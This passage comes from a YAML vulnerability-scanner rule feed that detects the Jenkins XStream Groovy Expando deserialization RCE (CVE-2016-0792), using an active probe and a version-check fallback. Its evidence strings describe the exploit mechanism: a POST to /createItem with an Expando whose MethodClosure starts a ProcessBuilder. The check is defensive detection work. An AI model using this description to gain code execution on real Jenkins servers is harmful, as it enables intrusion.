        evidence: "Jenkins {{jk.version}}: authenticated POST /createItem?name={{g.job2}} (anonymous attempt answered HTTP {{ea.status}}) with an XML Expando whose hashCode MethodClosure starts a ProcessBuilder for the non-existent program {{g.prog}} returned HTTP {{v.auth_status}} with the error 'Cannot run program {{g.prog}}' — XStream deserialized the object and called ProcessBuilder.start() with attacker-chosen arguments (CVE-2016-0792)"
      stop: true

  - id: version-only
    action: match
    source: v.version_only
    pattern: "^true$"
    on_match:
      finding:
        title: "Jenkins Vulnerable to XStream Groovy Expando Deserialization RCE (CVE-2016-0792) — Version Check"
        confidence_delta: 0.40   # 0.30 + 0.40 = 0.70
        qod: 70
        evidence: "X-Jenkins: {{jk.version}} (vulnerable: mainline <= 1.649, LTS <= 1.642.1); job creation refused to the scanner (HTTP {{ea.status}}), so the deserialization could not be exercised — any user allowed to create jobs can exploit it"

View these feeds on GitHub